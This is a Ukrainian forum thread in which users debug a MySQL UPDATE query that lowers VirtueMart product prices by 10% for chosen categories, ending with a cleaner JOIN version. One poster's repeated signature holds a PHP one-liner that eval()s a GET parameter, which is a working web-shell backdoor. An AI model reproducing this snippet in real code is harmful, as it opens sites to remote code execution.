1 Востаннє редагувалося Invader (28.02.2013 00:30:48)

Тема: Допоможіть дописати(розібратися в ) запит(і) на оновлення

Ось так нічого не змінює:

mysql> UPDATE green_virtuemart_product_prices AS prices 
SET prices.product_price = ((prices.product_price * 10 / 100) - prices.product_price)
     WHERE prices.virtuemart_product_id = ANY (SELECT virtuemart_category_id FROM green_virtuemart_product_categories    
           WHERE virtuemart_category_id IN(296, 293, 292, 291, 290, 295, 277, 274, 273, 294, 289, 288, 287));
Query OK, 0 rows affected (40.29 sec)
Rows matched: 0  Changed: 0  Warnings: 0

Але ж так:

SELECT virtuemart_category_id 
   FROM green_virtuemart_product_categories 
      WHERE virtuemart_category_id IN(296, 293, 292, 291, 290, 295, 277, 274, 273, 294, 289, 288, 287);

виводить те що потрібно (категорії з вказаними ідентифікаторами).

АЛЕ! Дещо змінений варіанти 1-го запиту на оновлення щось таки змінює:

UPDATE
green_virtuemart_product_prices AS prices 
SET prices.product_price = ((prices.product_price * 10 / 100) - prices.product_price) 
WHERE prices.virtuemart_product_id = ANY
   (SELECT virtuemart_product_id FROM green_virtuemart_product_categories
       WHERE virtuemart_category_id IN(296, 293, 292, 291, 290, 295, 277, 274, 273, 294, 289, 288, 287));

Тільки я не знаю що саме.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

2 Востаннє редагувалося Bartash (28.02.2013 00:42:38)

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

virtuemart_product_id 

та

virtuemart_category_id 

Ви їх у першому запиті не змішали часом у конструкції WHERE зовнішнього запиту?

WHERE prices.virtuemart_product_id = ANY (SELECT virtuemart_category_id FROM green_virtuemart_product_categories

Бо виходить, що ви номер продукта з категорією порівнюєте...

З.І: поки тестуєте запити оновлення - використовуйте транзакції: безпечніше буде.

I belong to the Dead Generation.

3

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

А останній ваш запит більш логічно виглядає.

I belong to the Dead Generation.

4

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

Бо виходить, що ви номер продукта з категорією порівнюєте...

Ну взгалі то я так і намагався зробити. Мабуть я чогось не розумію.
І там обчислення ціни продукта неправильне.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

5 Востаннє редагувалося Bartash (28.02.2013 01:04:53)

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

Invader написав:

Бо виходить, що ви номер продукта з категорією порівнюєте...

Ну взгалі то я так і намагався зробити. Мабуть я чогось не розумію.
І там обчислення ціни продукта неправильне.

Ну, як обчислити ціну - питання інше: відповідно до вимог завдання.
А говорячи про запити... Порівняння номера категорії із номером продукту, імхо, є адекватним лише тоді, коли ці поняття змішані, себто продукти певних номерів виступають категоріями інших.

Якщо ж так і треба, спробуйте замість =ANY

WHERE product_id IN (SELECT ......)
I belong to the Dead Generation.

6

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

Я пробував і варіант з IN (результат той же), але щойно з’ясував, що ці дві множини не перетинаються. Експерементальним (чи імперичним чи хз) вдалося встановити, що дещо змінений варіант 1-го запиту на оновлення щось таки змінює, і зміню те що потрібно.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

7

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

Invader написав:

Я пробував і варіант з IN (результат той же), але щойно з’ясував, що ці дві множини не перетинаються. Експерементальним (чи імперичним чи хз) вдалося встановити, що дещо змінений варіант 1-го запиту на оновлення щось таки змінює, і зміню те що потрібно.

Це добре, хоча раз на раз не приходиться.

З.І: якщо можна, опишіть структуру задіяних таблиць (лише основні, задіяні поля) та сутність запиту. Хочеться пересвідчитися, що логіка побудована коректно, бо хтозна, яким чином перетнуться ці множини пізніше...

I belong to the Dead Generation.

8 Востаннє редагувалося Invader (28.02.2013 01:39:16)

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

ОК

Tables_in_hell                      
+-------------------------------------+
| green_virtuemart_product_categories 
| green_virtuemart_product_prices 


desc green_virtuemart_product_categories;
+------------------------+----------------------+------+-----+---------+-------+
| Field                  | Type                 | Null | Key | Default | Extra |
+------------------------+----------------------+------+-----+---------+-------+
| virtuemart_product_id  | int(1) unsigned      | NO   | PRI | 0       |       |
| virtuemart_category_id | smallint(1) unsigned | NO   | PRI | 0       |       |
| ordering               | int(11)              | NO   |     | 0       |       |
+------------------------+----------------------+------+-----+---------+-------+

desc green_virtuemart_product_prices;
+-----------------------------+------------------+------+-----+---------------------+----------------+
| Field                       | Type             | Null | Key | Default             | Extra          |
+-----------------------------+------------------+------+-----+---------------------+----------------+
| virtuemart_product_price_id | int(11) unsigned | NO   | PRI | NULL                | auto_increment |
| virtuemart_product_id       | int(1) unsigned  | NO   | MUL | 0                   |                |
| virtuemart_shoppergroup_id  | int(11)          | YES  | MUL | NULL                |                |
| product_price               | decimal(15,5)    | YES  |     | NULL                |                |

Що потрібно було:

296, 293, 292, 291,
это категории, ищешь где номера товаров согласно категорий и потом в product price меняешь цену на 10% ниже

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

9

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

Як щодо такого?

UPDATE green_virtuemart_product_prices AS pp
INNER JOIN green_virtuemart_product_categories pc
ON pp.virtuemart_product_id = pc.virtuemart_product_id
SET pp.product_price = pp.product_price*0.9
WHERE pc.virtuemart_category_id IN (296, 293, 292, 291);
I belong to the Dead Generation.

10 Востаннє редагувалося Invader (28.02.2013 12:42:29)

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

Змінює 1007 рядків. Так само як і мій варіант, але у вас код виглядає чистішим і читабельнішим.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

11

Re: Допоможіть дописати(розібратися в ) запит(і) на оновлення

Invader написав:

Змінює 1007 рядків. Так само як і мій варіант, але у вас код виглядає чистішим і читабельнішим.

Ви просто пішли іншим шляхом, універсальнішим. :)

I belong to the Dead Generation.